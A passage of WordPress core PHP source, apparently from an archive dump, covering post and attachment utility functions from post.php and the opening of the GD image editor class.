'png', 'webp' ); return in_array( $ext, $image_exts, true ); case 'audio': return in_array( $ext, wp_get_audio_extensions(), true ); case 'video': return in_array( $ext, wp_get_video_extensions(), true ); default: return $type === $ext; } } /** * Determines whether an attachment is an image. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.1.0 * @since 4.2.0 Modified into wrapper for wp_attachment_is() and * allowed WP_Post object to be passed. * * @param int|WP_Post $post Optional. Attachment ID or object. Default is global $post. * @return bool Whether the attachment is an image. */ function wp_attachment_is_image( $post = null ) { return wp_attachment_is( 'image', $post ); } /** * Retrieve the icon for a MIME type or attachment. * * @since 2.1.0 * * @param string|int $mime MIME type or attachment ID. * @return string|false Icon, false otherwise. */ function wp_mime_type_icon( $mime = 0 ) { if ( ! is_numeric( $mime ) ) { $icon = wp_cache_get( "mime_type_icon_$mime" ); } $post_id = 0; if ( empty( $icon ) ) { $post_mimes = array(); if ( is_numeric( $mime ) ) { $mime = (int) $mime; $post = get_post( $mime ); if ( $post ) { $post_id = (int) $post->ID; $file = get_attached_file( $post_id ); $ext = preg_replace( '/^.+?\.([^.]+)$/', '$1', $file ); if ( ! empty( $ext ) ) { $post_mimes[] = $ext; $ext_type = wp_ext2type( $ext ); if ( $ext_type ) { $post_mimes[] = $ext_type; } } $mime = $post->post_mime_type; } else { $mime = 0; } } else { $post_mimes[] = $mime; } $icon_files = wp_cache_get( 'icon_files' ); if ( ! is_array( $icon_files ) ) { /** * Filters the icon directory path. * * @since 2.0.0 * * @param string $path Icon directory absolute path. */ $icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/media' ); /** * Filters the icon directory URI. * * @since 2.0.0 * * @param string $uri Icon directory URI. */ $icon_dir_uri = apply_filters( 'icon_dir_uri', includes_url( 'images/media' ) ); /** * Filters the array of icon directory URIs. * * @since 2.5.0 * * @param string[] $uris Array of icon directory URIs keyed by directory absolute path. */ $dirs = apply_filters( 'icon_dirs', array( $icon_dir => $icon_dir_uri ) ); $icon_files = array(); while ( $dirs ) { $keys = array_keys( $dirs ); $dir = array_shift( $keys ); $uri = array_shift( $dirs ); $dh = opendir( $dir ); if ( $dh ) { while ( false !== $file = readdir( $dh ) ) { $file = wp_basename( $file ); if ( '.' === substr( $file, 0, 1 ) ) { continue; } $ext = strtolower( substr( $file, -4 ) ); if ( ! in_array( $ext, array( '.png', '.gif', '.jpg' ), true ) ) { if ( is_dir( "$dir/$file" ) ) { $dirs[ "$dir/$file" ] = "$uri/$file"; } continue; } $icon_files[ "$dir/$file" ] = "$uri/$file"; } closedir( $dh ); } } wp_cache_add( 'icon_files', $icon_files, 'default', 600 ); } $types = array(); // Icon wp_basename - extension = MIME wildcard. foreach ( $icon_files as $file => $uri ) { $types[ preg_replace( '/^([^.]*).*$/', '$1', wp_basename( $file ) ) ] =& $icon_files[ $file ]; } if ( ! empty( $mime ) ) { $post_mimes[] = substr( $mime, 0, strpos( $mime, '/' ) ); $post_mimes[] = substr( $mime, strpos( $mime, '/' ) + 1 ); $post_mimes[] = str_replace( '/', '_', $mime ); } $matches = wp_match_mime_types( array_keys( $types ), $post_mimes ); $matches['default'] = array( 'default' ); foreach ( $matches as $match => $wilds ) { foreach ( $wilds as $wild ) { if ( ! isset( $types[ $wild ] ) ) { continue; } $icon = $types[ $wild ]; if ( ! is_numeric( $mime ) ) { wp_cache_add( "mime_type_icon_$mime", $icon ); } break 2; } } } /** * Filters the mime type icon. * * @since 2.1.0 * * @param string $icon Path to the mime type icon. * @param string $mime Mime type. * @param int $post_id Attachment ID. Will equal 0 if the function passed * the mime type. */ return apply_filters( 'wp_mime_type_icon', $icon, $mime, $post_id ); } /** * Check for changed slugs for published post objects and save the old slug. * * The function is used when a post object of any type is updated, * by comparing the current and previous post objects. * * If the slug was changed and not already part of the old slugs then it will be * added to the post meta field ('_wp_old_slug') for storing old slugs for that * post. * * The most logically usage of this function is redirecting changed post objects, so * that those that linked to an changed post will be redirected to the new post. * * @since 2.1.0 * * @param int $post_id Post ID. * @param WP_Post $post The Post Object * @param WP_Post $post_before The Previous Post Object */ function wp_check_for_changed_slugs( $post_id, $post, $post_before ) { // Don't bother if it hasn't changed. if ( $post->post_name == $post_before->post_name ) { return; } // We're only concerned with published, non-hierarchical objects. if ( ! ( 'publish' === $post->post_status || ( 'attachment' === get_post_type( $post ) && 'inherit' === $post->post_status ) ) || is_post_type_hierarchical( $post->post_type ) ) { return; } $old_slugs = (array) get_post_meta( $post_id, '_wp_old_slug' ); // If we haven't added this old slug before, add it now. if ( ! empty( $post_before->post_name ) && ! in_array( $post_before->post_name, $old_slugs, true ) ) { add_post_meta( $post_id, '_wp_old_slug', $post_before->post_name ); } // If the new slug was used previously, delete it from the list. if ( in_array( $post->post_name, $old_slugs, true ) ) { delete_post_meta( $post_id, '_wp_old_slug', $post->post_name ); } } /** * Check for changed dates for published post objects and save the old date. * * The function is used when a post object of any type is updated, * by comparing the current and previous post objects. * * If the date was changed and not already part of the old dates then it will be * added to the post meta field ('_wp_old_date') for storing old dates for that * post. * * The most logically usage of this function is redirecting changed post objects, so * that those that linked to an changed post will be redirected to the new post. * * @since 4.9.3 * * @param int $post_id Post ID. * @param WP_Post $post The Post Object * @param WP_Post $post_before The Previous Post Object */ function wp_check_for_changed_dates( $post_id, $post, $post_before ) { $previous_date = gmdate( 'Y-m-d', strtotime( $post_before->post_date ) ); $new_date = gmdate( 'Y-m-d', strtotime( $post->post_date ) ); // Don't bother if it hasn't changed. if ( $new_date == $previous_date ) { return; } // We're only concerned with published, non-hierarchical objects. if ( ! ( 'publish' === $post->post_status || ( 'attachment' === get_post_type( $post ) && 'inherit' === $post->post_status ) ) || is_post_type_hierarchical( $post->post_type ) ) { return; } $old_dates = (array) get_post_meta( $post_id, '_wp_old_date' ); // If we haven't added this old date before, add it now. if ( ! empty( $previous_date ) && ! in_array( $previous_date, $old_dates, true ) ) { add_post_meta( $post_id, '_wp_old_date', $previous_date ); } // If the new slug was used previously, delete it from the list. if ( in_array( $new_date, $old_dates, true ) ) { delete_post_meta( $post_id, '_wp_old_date', $new_date ); } } /** * Retrieve the private post SQL based on capability. * * This function provides a standardized way to appropriately select on the * post_status of a post type. The function will return a piece of SQL code * that can be added to a WHERE clause; this SQL is constructed to allow all * published posts, and all private posts to which the user has access. * * @since 2.2.0 * @since 4.3.0 Added the ability to pass an array to `$post_type`. * * @param string|array $post_type Single post type or an array of post types. Currently only supports 'post' or 'page'. * @return string SQL code that can be added to a where clause. */ function get_private_posts_cap_sql( $post_type ) { return get_posts_by_author_sql( $post_type, false ); } /** * Retrieve the post SQL based on capability, author, and type. * * @since 3.0.0 * @since 4.3.0 Introduced the ability to pass an array of post types to `$post_type`. * * @see get_private_posts_cap_sql() * @global wpdb $wpdb WordPress database abstraction object. * * @param string|string[] $post_type Single post type or an array of post types. * @param bool $full Optional. Returns a full WHERE statement instead of just * an 'andalso' term. Default true. * @param int $post_author Optional. Query posts having a single author ID. Default null. * @param bool $public_only Optional. Only return public posts. Skips cap checks for * $current_user. Default false. * @return string SQL WHERE code that can be added to a query. */ function get_posts_by_author_sql( $post_type, $full = true, $post_author = null, $public_only = false ) { global $wpdb; if ( is_array( $post_type ) ) { $post_types = $post_type; } else { $post_types = array( $post_type ); } $post_type_clauses = array(); foreach ( $post_types as $post_type ) { $post_type_obj = get_post_type_object( $post_type ); if ( ! $post_type_obj ) { continue; } /** * Filters the capability to read private posts for a custom post type * when generating SQL for getting posts by author. * * @since 2.2.0 * @deprecated 3.2.0 The hook transitioned from "somewhat useless" to "totally useless". * * @param string $cap Capability. */ $cap = apply_filters_deprecated( 'pub_priv_sql_capability', array( '' ), '3.2.0' ); if ( ! $cap ) { $cap = current_user_can( $post_type_obj->cap->read_private_posts ); } // Only need to check the cap if $public_only is false. $post_status_sql = "post_status = 'publish'"; if ( false === $public_only ) { if ( $cap ) { // Does the user have the capability to view private posts? Guess so. $post_status_sql .= " OR post_status = 'private'"; } elseif ( is_user_logged_in() ) { // Users can view their own private posts. $id = get_current_user_id(); if ( null === $post_author || ! $full ) { $post_status_sql .= " OR post_status = 'private' AND post_author = $id"; } elseif ( $id == (int) $post_author ) { $post_status_sql .= " OR post_status = 'private'"; } // Else none. } // Else none. } $post_type_clauses[] = "( post_type = '" . $post_type . "' AND ( $post_status_sql ) )"; } if ( empty( $post_type_clauses ) ) { return $full ? 'WHERE 1 = 0' : '1 = 0'; } $sql = '( ' . implode( ' OR ', $post_type_clauses ) . ' )'; if ( null !== $post_author ) { $sql .= $wpdb->prepare( ' AND post_author = %d', $post_author ); } if ( $full ) { $sql = 'WHERE ' . $sql; } return $sql; } /** * Retrieves the most recent time that a post on the site was published. * * The server timezone is the default and is the difference between GMT and * server time. The 'blog' value is the date when the last post was posted. * The 'gmt' is when the last post was posted in GMT formatted date. * * @since 0.71 * @since 4.4.0 The `$post_type` argument was added. * * @param string $timezone Optional. The timezone for the timestamp. Accepts 'server', 'blog', or 'gmt'. * 'server' uses the server's internal timezone. * 'blog' uses the `post_date` field, which proxies to the timezone set for the site. * 'gmt' uses the `post_date_gmt` field. * Default 'server'. * @param string $post_type Optional. The post type to check. Default 'any'. * @return string The date of the last post, or false on failure. */ function get_lastpostdate( $timezone = 'server', $post_type = 'any' ) { $lastpostdate = _get_last_post_time( $timezone, 'date', $post_type ); /** * Filters the most recent time that a post on the site was published. * * @since 2.3.0 * @since 5.5.0 Added the `$post_type` parameter. * * @param string|false $lastpostdate The most recent time that a post was published, * in 'Y-m-d H:i:s' format. False on failure. * @param string $timezone Location to use for getting the post published date. * See get_lastpostdate() for accepted `$timezone` values. * @param string $post_type The post type to check. */ return apply_filters( 'get_lastpostdate', $lastpostdate, $timezone, $post_type ); } /** * Get the most recent time that a post on the site was modified. * * The server timezone is the default and is the difference between GMT and * server time. The 'blog' value is just when the last post was modified. * The 'gmt' is when the last post was modified in GMT time. * * @since 1.2.0 * @since 4.4.0 The `$post_type` argument was added. * * @param string $timezone Optional. The timezone for the timestamp. See get_lastpostdate() * for information on accepted values. * Default 'server'. * @param string $post_type Optional. The post type to check. Default 'any'. * @return string The timestamp in 'Y-m-d H:i:s' format, or false on failure. */ function get_lastpostmodified( $timezone = 'server', $post_type = 'any' ) { /** * Pre-filter the return value of get_lastpostmodified() before the query is run. * * @since 4.4.0 * * @param string|false $lastpostmodified The most recent time that a post was modified, * in 'Y-m-d H:i:s' format, or false. Returning anything * other than false will short-circuit the function. * @param string $timezone Location to use for getting the post modified date. * See get_lastpostdate() for accepted `$timezone` values. * @param string $post_type The post type to check. */ $lastpostmodified = apply_filters( 'pre_get_lastpostmodified', false, $timezone, $post_type ); if ( false !== $lastpostmodified ) { return $lastpostmodified; } $lastpostmodified = _get_last_post_time( $timezone, 'modified', $post_type ); $lastpostdate = get_lastpostdate( $timezone, $post_type ); if ( $lastpostdate > $lastpostmodified ) { $lastpostmodified = $lastpostdate; } /** * Filters the most recent time that a post on the site was modified. * * @since 2.3.0 * @since 5.5.0 Added the `$post_type` parameter. * * @param string|false $lastpostmodified The most recent time that a post was modified, * in 'Y-m-d H:i:s' format. False on failure. * @param string $timezone Location to use for getting the post modified date. * See get_lastpostdate() for accepted `$timezone` values. * @param string $post_type The post type to check. */ return apply_filters( 'get_lastpostmodified', $lastpostmodified, $timezone, $post_type ); } /** * Gets the timestamp of the last time any post was modified or published. * * @since 3.1.0 * @since 4.4.0 The `$post_type` argument was added. * @access private * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $timezone The timezone for the timestamp. See get_lastpostdate(). * for information on accepted values. * @param string $field Post field to check. Accepts 'date' or 'modified'. * @param string $post_type Optional. The post type to check. Default 'any'. * @return string|false The timestamp in 'Y-m-d H:i:s' format, or false on failure. */ function _get_last_post_time( $timezone, $field, $post_type = 'any' ) { global $wpdb; if ( ! in_array( $field, array( 'date', 'modified' ), true ) ) { return false; } $timezone = strtolower( $timezone ); $key = "lastpost{$field}:$timezone"; if ( 'any' !== $post_type ) { $key .= ':' . sanitize_key( $post_type ); } $date = wp_cache_get( $key, 'timeinfo' ); if ( false !== $date ) { return $date; } if ( 'any' === $post_type ) { $post_types = get_post_types( array( 'public' => true ) ); array_walk( $post_types, array( $wpdb, 'escape_by_ref' ) ); $post_types = "'" . implode( "', '", $post_types ) . "'"; } else { $post_types = "'" . sanitize_key( $post_type ) . "'"; } switch ( $timezone ) { case 'gmt': $date = $wpdb->get_var( "SELECT post_{$field}_gmt FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1" ); break; case 'blog': $date = $wpdb->get_var( "SELECT post_{$field} FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1" ); break; case 'server': $add_seconds_server = gmdate( 'Z' ); $date = $wpdb->get_var( "SELECT DATE_ADD(post_{$field}_gmt, INTERVAL '$add_seconds_server' SECOND) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1" ); break; } if ( $date ) { wp_cache_set( $key, $date, 'timeinfo' ); return $date; } return false; } /** * Updates posts in cache. * * @since 1.5.1 * * @param WP_Post[] $posts Array of post objects (passed by reference). */ function update_post_cache( &$posts ) { if ( ! $posts ) { return; } $data = array(); foreach ( $posts as $post ) { if ( empty( $post->filter ) || 'raw' !== $post->filter ) { $post = sanitize_post( $post, 'raw' ); } $data[ $post->ID ] = $post; } wp_cache_add_multiple( $data, 'posts' ); } /** * Will clean the post in the cache. * * Cleaning means delete from the cache of the post. Will call to clean the term * object cache associated with the post ID. * * This function not run if $_wp_suspend_cache_invalidation is not empty. See * wp_suspend_cache_invalidation(). * * @since 2.0.0 * * @global bool $_wp_suspend_cache_invalidation * * @param int|WP_Post $post Post ID or post object to remove from the cache. */ function clean_post_cache( $post ) { global $_wp_suspend_cache_invalidation; if ( ! empty( $_wp_suspend_cache_invalidation ) ) { return; } $post = get_post( $post ); if ( ! $post ) { return; } wp_cache_delete( $post->ID, 'posts' ); wp_cache_delete( $post->ID, 'post_meta' ); clean_object_term_cache( $post->ID, $post->post_type ); wp_cache_delete( 'wp_get_archives', 'general' ); /** * Fires immediately after the given post's cache is cleaned. * * @since 2.5.0 * * @param int $post_id Post ID. * @param WP_Post $post Post object. */ do_action( 'clean_post_cache', $post->ID, $post ); if ( 'page' === $post->post_type ) { wp_cache_delete( 'all_page_ids', 'posts' ); /** * Fires immediately after the given page's cache is cleaned. * * @since 2.5.0 * * @param int $post_id Post ID. */ do_action( 'clean_page_cache', $post->ID ); } wp_cache_set( 'last_changed', microtime(), 'posts' ); } /** * Call major cache updating functions for list of Post objects. * * @since 1.5.0 * * @param WP_Post[] $posts Array of Post objects * @param string $post_type Optional. Post type. Default 'post'. * @param bool $update_term_cache Optional. Whether to update the term cache. Default true. * @param bool $update_meta_cache Optional. Whether to update the meta cache. Default true. */ function update_post_caches( &$posts, $post_type = 'post', $update_term_cache = true, $update_meta_cache = true ) { // No point in doing all this work if we didn't match any posts. if ( ! $posts ) { return; } update_post_cache( $posts ); $post_ids = array(); foreach ( $posts as $post ) { $post_ids[] = $post->ID; } if ( ! $post_type ) { $post_type = 'any'; } if ( $update_term_cache ) { if ( is_array( $post_type ) ) { $ptypes = $post_type; } elseif ( 'any' === $post_type ) { $ptypes = array(); // Just use the post_types in the supplied posts. foreach ( $posts as $post ) { $ptypes[] = $post->post_type; } $ptypes = array_unique( $ptypes ); } else { $ptypes = array( $post_type ); } if ( ! empty( $ptypes ) ) { update_object_term_cache( $post_ids, $ptypes ); } } if ( $update_meta_cache ) { update_postmeta_cache( $post_ids ); } } /** * Updates metadata cache for list of post IDs. * * Performs SQL query to retrieve the metadata for the post IDs and updates the * metadata cache for the posts. Therefore, the functions, which call this * function, do not need to perform SQL queries on their own. * * @since 2.1.0 * * @param int[] $post_ids Array of post IDs. * @return array|false An array of metadata on success, false if there is nothing to update. */ function update_postmeta_cache( $post_ids ) { return update_meta_cache( 'post', $post_ids ); } /** * Will clean the attachment in the cache. * * Cleaning means delete from the cache. Optionally will clean the term * object cache associated with the attachment ID. * * This function will not run if $_wp_suspend_cache_invalidation is not empty. * * @since 3.0.0 * * @global bool $_wp_suspend_cache_invalidation * * @param int $id The attachment ID in the cache to clean. * @param bool $clean_terms Optional. Whether to clean terms cache. Default false. */ function clean_attachment_cache( $id, $clean_terms = false ) { global $_wp_suspend_cache_invalidation; if ( ! empty( $_wp_suspend_cache_invalidation ) ) { return; } $id = (int) $id; wp_cache_delete( $id, 'posts' ); wp_cache_delete( $id, 'post_meta' ); if ( $clean_terms ) { clean_object_term_cache( $id, 'attachment' ); } /** * Fires after the given attachment's cache is cleaned. * * @since 3.0.0 * * @param int $id Attachment ID. */ do_action( 'clean_attachment_cache', $id ); } // // Hooks. // /** * Hook for managing future post transitions to published. * * @since 2.3.0 * @access private * * @see wp_clear_scheduled_hook() * @global wpdb $wpdb WordPress database abstraction object. * * @param string $new_status New post status. * @param string $old_status Previous post status. * @param WP_Post $post Post object. */ function _transition_post_status( $new_status, $old_status, $post ) { global $wpdb; if ( 'publish' !== $old_status && 'publish' === $new_status ) { // Reset GUID if transitioning to publish and it is empty. if ( '' === get_the_guid( $post->ID ) ) { $wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post->ID ) ), array( 'ID' => $post->ID ) ); } /** * Fires when a post's status is transitioned from private to published. * * @since 1.5.0 * @deprecated 2.3.0 Use {@see 'private_to_publish'} instead. * * @param int $post_id Post ID. */ do_action_deprecated( 'private_to_published', array( $post->ID ), '2.3.0', 'private_to_publish' ); } // If published posts changed clear the lastpostmodified cache. if ( 'publish' === $new_status || 'publish' === $old_status ) { foreach ( array( 'server', 'gmt', 'blog' ) as $timezone ) { wp_cache_delete( "lastpostmodified:$timezone", 'timeinfo' ); wp_cache_delete( "lastpostdate:$timezone", 'timeinfo' ); wp_cache_delete( "lastpostdate:$timezone:{$post->post_type}", 'timeinfo' ); } } if ( $new_status !== $old_status ) { wp_cache_delete( _count_posts_cache_key( $post->post_type ), 'counts' ); wp_cache_delete( _count_posts_cache_key( $post->post_type, 'readable' ), 'counts' ); } // Always clears the hook in case the post status bounced from future to draft. wp_clear_scheduled_hook( 'publish_future_post', array( $post->ID ) ); } /** * Hook used to schedule publication for a post marked for the future. * * The $post properties used and must exist are 'ID' and 'post_date_gmt'. * * @since 2.3.0 * @access private * * @param int $deprecated Not used. Can be set to null. Never implemented. Not marked * as deprecated with _deprecated_argument() as it conflicts with * wp_transition_post_status() and the default filter for _future_post_hook(). * @param WP_Post $post Post object. */ function _future_post_hook( $deprecated, $post ) { wp_clear_scheduled_hook( 'publish_future_post', array( $post->ID ) ); wp_schedule_single_event( strtotime( get_gmt_from_date( $post->post_date ) . ' GMT' ), 'publish_future_post', array( $post->ID ) ); } /** * Hook to schedule pings and enclosures when a post is published. * * Uses XMLRPC_REQUEST and WP_IMPORTING constants. * * @since 2.3.0 * @access private * * @param int $post_id The ID of the post being published. */ function _publish_post_hook( $post_id ) { if ( defined( 'XMLRPC_REQUEST' ) ) { /** * Fires when _publish_post_hook() is called during an XML-RPC request. * * @since 2.1.0 * * @param int $post_id Post ID. */ do_action( 'xmlrpc_publish_post', $post_id ); } if ( defined( 'WP_IMPORTING' ) ) { return; } if ( get_option( 'default_pingback_flag' ) ) { add_post_meta( $post_id, '_pingme', '1', true ); } add_post_meta( $post_id, '_encloseme', '1', true ); $to_ping = get_to_ping( $post_id ); if ( ! empty( $to_ping ) ) { add_post_meta( $post_id, '_trackbackme', '1' ); } if ( ! wp_next_scheduled( 'do_pings' ) ) { wp_schedule_single_event( time(), 'do_pings' ); } } /** * Returns the ID of the post's parent. * * @since 3.1.0 * @since 5.9.0 The `$post` parameter was made optional. * * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post. * @return int|false Post parent ID (which can be 0 if there is no parent), * or false if the post does not exist. */ function wp_get_post_parent_id( $post = null ) { $post = get_post( $post ); if ( ! $post || is_wp_error( $post ) ) { return false; } return (int) $post->post_parent; } /** * Check the given subset of the post hierarchy for hierarchy loops. * * Prevents loops from forming and breaks those that it finds. Attached * to the {@see 'wp_insert_post_parent'} filter. * * @since 3.1.0 * * @see wp_find_hierarchy_loop() * * @param int $post_parent ID of the parent for the post we're checking. * @param int $post_ID ID of the post we're checking. * @return int The new post_parent for the post, 0 otherwise. */ function wp_check_post_hierarchy_for_loops( $post_parent, $post_ID ) { // Nothing fancy here - bail. if ( ! $post_parent ) { return 0; } // New post can't cause a loop. if ( ! $post_ID ) { return $post_parent; } // Can't be its own parent. if ( $post_parent == $post_ID ) { return 0; } // Now look for larger loops. $loop = wp_find_hierarchy_loop( 'wp_get_post_parent_id', $post_ID, $post_parent ); if ( ! $loop ) { return $post_parent; // No loop. } // Setting $post_parent to the given value causes a loop. if ( isset( $loop[ $post_ID ] ) ) { return 0; } // There's a loop, but it doesn't contain $post_ID. Break the loop. foreach ( array_keys( $loop ) as $loop_member ) { wp_update_post( array( 'ID' => $loop_member, 'post_parent' => 0, ) ); } return $post_parent; } /** * Sets the post thumbnail (featured image) for the given post. * * @since 3.1.0 * * @param int|WP_Post $post Post ID or post object where thumbnail should be attached. * @param int $thumbnail_id Thumbnail to attach. * @return int|bool True on success, false on failure. */ function set_post_thumbnail( $post, $thumbnail_id ) { $post = get_post( $post ); $thumbnail_id = absint( $thumbnail_id ); if ( $post && $thumbnail_id && get_post( $thumbnail_id ) ) { if ( wp_get_attachment_image( $thumbnail_id, 'thumbnail' ) ) { return update_post_meta( $post->ID, '_thumbnail_id', $thumbnail_id ); } else { return delete_post_meta( $post->ID, '_thumbnail_id' ); } } return false; } /** * Removes the thumbnail (featured image) from the given post. * * @since 3.3.0 * * @param int|WP_Post $post Post ID or post object from which the thumbnail should be removed. * @return bool True on success, false on failure. */ function delete_post_thumbnail( $post ) { $post = get_post( $post ); if ( $post ) { return delete_post_meta( $post->ID, '_thumbnail_id' ); } return false; } /** * Delete auto-drafts for new posts that are > 7 days old. * * @since 3.4.0 * * @global wpdb $wpdb WordPress database abstraction object. */ function wp_delete_auto_drafts() { global $wpdb; // Cleanup old auto-drafts more than 7 days old. $old_posts = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_status = 'auto-draft' AND DATE_SUB( NOW(), INTERVAL 7 DAY ) > post_date" ); foreach ( (array) $old_posts as $delete ) { // Force delete. wp_delete_post( $delete, true ); } } /** * Queues posts for lazy-loading of term meta. * * @since 4.5.0 * * @param array $posts Array of WP_Post objects. */ function wp_queue_posts_for_term_meta_lazyload( $posts ) { $post_type_taxonomies = array(); $term_ids = array(); foreach ( $posts as $post ) { if ( ! ( $post instanceof WP_Post ) ) { continue; } if ( ! isset( $post_type_taxonomies[ $post->post_type ] ) ) { $post_type_taxonomies[ $post->post_type ] = get_object_taxonomies( $post->post_type ); } foreach ( $post_type_taxonomies[ $post->post_type ] as $taxonomy ) { // Term cache should already be primed by `update_post_term_cache()`. $terms = get_object_term_cache( $post->ID, $taxonomy ); if ( false !== $terms ) { foreach ( $terms as $term ) { if ( ! in_array( $term->term_id, $term_ids, true ) ) { $term_ids[] = $term->term_id; } } } } } if ( $term_ids ) { $lazyloader = wp_metadata_lazyloader(); $lazyloader->queue_objects( 'term', $term_ids ); } } /** * Update the custom taxonomies' term counts when a post's status is changed. * * For example, default posts term counts (for custom taxonomies) don't include * private / draft posts. * * @since 3.3.0 * @access private * * @param string $new_status New post status. * @param string $old_status Old post status. * @param WP_Post $post Post object. */ function _update_term_count_on_transition_post_status( $new_status, $old_status, $post ) { // Update counts for the post's terms. foreach ( (array) get_object_taxonomies( $post->post_type ) as $taxonomy ) { $tt_ids = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'tt_ids' ) ); wp_update_term_count( $tt_ids, $taxonomy ); } } /** * Adds any posts from the given IDs to the cache that do not already exist in cache. * * @since 3.4.0 * @access private * * @see update_post_caches() * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $ids ID list. * @param bool $update_term_cache Optional. Whether to update the term cache. Default true. * @param bool $update_meta_cache Optional. Whether to update the meta cache. Default true. */ function _prime_post_caches( $ids, $update_term_cache = true, $update_meta_cache = true ) { global $wpdb; $non_cached_ids = _get_non_cached_ids( $ids, 'posts' ); if ( ! empty( $non_cached_ids ) ) { $fresh_posts = $wpdb->get_results( sprintf( "SELECT $wpdb->posts.* FROM $wpdb->posts WHERE ID IN (%s)", implode( ',', $non_cached_ids ) ) ); update_post_caches( $fresh_posts, 'any', $update_term_cache, $update_meta_cache ); } } /** * Adds a suffix if any trashed posts have a given slug. * * Store its desired (i.e. current) slug so it can try to reclaim it * if the post is untrashed. * * For internal use. * * @since 4.5.0 * @access private * * @param string $post_name Post slug. * @param int $post_ID Optional. Post ID that should be ignored. Default 0. */ function wp_add_trashed_suffix_to_post_name_for_trashed_posts( $post_name, $post_ID = 0 ) { $trashed_posts_with_desired_slug = get_posts( array( 'name' => $post_name, 'post_status' => 'trash', 'post_type' => 'any', 'nopaging' => true, 'post__not_in' => array( $post_ID ), ) ); if ( ! empty( $trashed_posts_with_desired_slug ) ) { foreach ( $trashed_posts_with_desired_slug as $_post ) { wp_add_trashed_suffix_to_post_name_for_post( $_post ); } } } /** * Adds a trashed suffix for a given post. * * Store its desired (i.e. current) slug so it can try to reclaim it * if the post is untrashed. * * For internal use. * * @since 4.5.0 * @access private * * @param WP_Post $post The post. * @return string New slug for the post. */ function wp_add_trashed_suffix_to_post_name_for_post( $post ) { global $wpdb; $post = get_post( $post ); if ( '__trashed' === substr( $post->post_name, -9 ) ) { return $post->post_name; } add_post_meta( $post->ID, '_wp_desired_post_slug', $post->post_name ); $post_name = _truncate_post_slug( $post->post_name, 191 ) . '__trashed'; $wpdb->update( $wpdb->posts, array( 'post_name' => $post_name ), array( 'ID' => $post->ID ) ); clean_post_cache( $post->ID ); return $post_name; } /** * Sets the last changed time for the 'posts' cache group. * * @since 5.0.0 */ function wp_cache_set_posts_last_changed() { wp_cache_set( 'last_changed', microtime(), 'posts' ); } /** * Get all available post MIME types for a given post type. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $type * @return mixed */ function get_available_post_mime_types( $type = 'attachment' ) { global $wpdb; $types = $wpdb->get_col( $wpdb->prepare( "SELECT DISTINCT post_mime_type FROM $wpdb->posts WHERE post_type = %s", $type ) ); return $types; } /** * Retrieves the path to an uploaded image file. * * Similar to `get_attached_file()` however some images may have been processed after uploading * to make them suitable for web use. In this case the attached "full" size file is usually replaced * with a scaled down version of the original image. This function always returns the path * to the originally uploaded image file. * * @since 5.3.0 * @since 5.4.0 Added the `$unfiltered` parameter. * * @param int $attachment_id Attachment ID. * @param bool $unfiltered Optional. Passed through to `get_attached_file()`. Default false. * @return string|false Path to the original image file or false if the attachment is not an image. */ function wp_get_original_image_path( $attachment_id, $unfiltered = false ) { if ( ! wp_attachment_is_image( $attachment_id ) ) { return false; } $image_meta = wp_get_attachment_metadata( $attachment_id ); $image_file = get_attached_file( $attachment_id, $unfiltered ); if ( empty( $image_meta['original_image'] ) ) { $original_image = $image_file; } else { $original_image = path_join( dirname( $image_file ), $image_meta['original_image'] ); } /** * Filters the path to the original image. * * @since 5.3.0 * * @param string $original_image Path to original image file. * @param int $attachment_id Attachment ID. */ return apply_filters( 'wp_get_original_image_path', $original_image, $attachment_id ); } /** * Retrieve the URL to an original attachment image. * * Similar to `wp_get_attachment_url()` however some images may have been * processed after uploading. In this case this function returns the URL * to the originally uploaded image file. * * @since 5.3.0 * * @param int $attachment_id Attachment post ID. * @return string|false Attachment image URL, false on error or if the attachment is not an image. */ function wp_get_original_image_url( $attachment_id ) { if ( ! wp_attachment_is_image( $attachment_id ) ) { return false; } $image_url = wp_get_attachment_url( $attachment_id ); if ( ! $image_url ) { return false; } $image_meta = wp_get_attachment_metadata( $attachment_id ); if ( empty( $image_meta['original_image'] ) ) { $original_image_url = $image_url; } else { $original_image_url = path_join( dirname( $image_url ), $image_meta['original_image'] ); } /** * Filters the URL to the original attachment image. * * @since 5.3.0 * * @param string $original_image_url URL to original image. * @param int $attachment_id Attachment ID. */ return apply_filters( 'wp_get_original_image_url', $original_image_url, $attachment_id ); } /** * Filter callback which sets the status of an untrashed post to its previous status. * * This can be used as a callback on the `wp_untrash_post_status` filter. * * @since 5.6.0 * * @param string $new_status The new status of the post being restored. * @param int $post_id The ID of the post being restored. * @param string $previous_status The status of the post at the point where it was trashed. * @return string The new status of the post. */ function wp_untrash_post_set_previous_status( $new_status, $post_id, $previous_status ) { return $previous_status; } class-wp-image-editor-gd.php000064400000036520147177035010011755 0ustar00image ) { // We don't need the original in memory anymore. imagedestroy( $this->image ); } } /** * Checks to see if current environment supports GD. * * @since 3.5.0 * * @param array $args * @return bool */ public static function test( $args = array() ) { if ( ! extension_loaded( 'gd' ) || ! function_exists( 'gd_info' ) ) { return false; } // On some setups GD library does not provide imagerotate() - Ticket #11536. if ( isset( $args['methods'] ) && in_array( 'rotate', $args['methods'], true ) && ! function_exists( 'imagerotate' ) ) { return false; } return true; } /** * Checks to see if editor supports the mime-type specified. * * @since 3.5.0 * * @param string $mime_type * @return bool */ public static function supports_mime_type( $mime_type ) { $image_types = imagetypes(); switch ( $mime_type ) { case 'image/jpeg': return ( $image_types & IMG_JPG ) != 0; case 'image/png': return ( $image_types & IMG_PNG ) != 0; case 'image/gif': return ( $image_types & IMG_GIF ) != 0; case 'image/webp': return ( $image_types & IMG_WEBP ) != 0; } return false; } /** * Loads image from $this->file into new GD Resource. * * 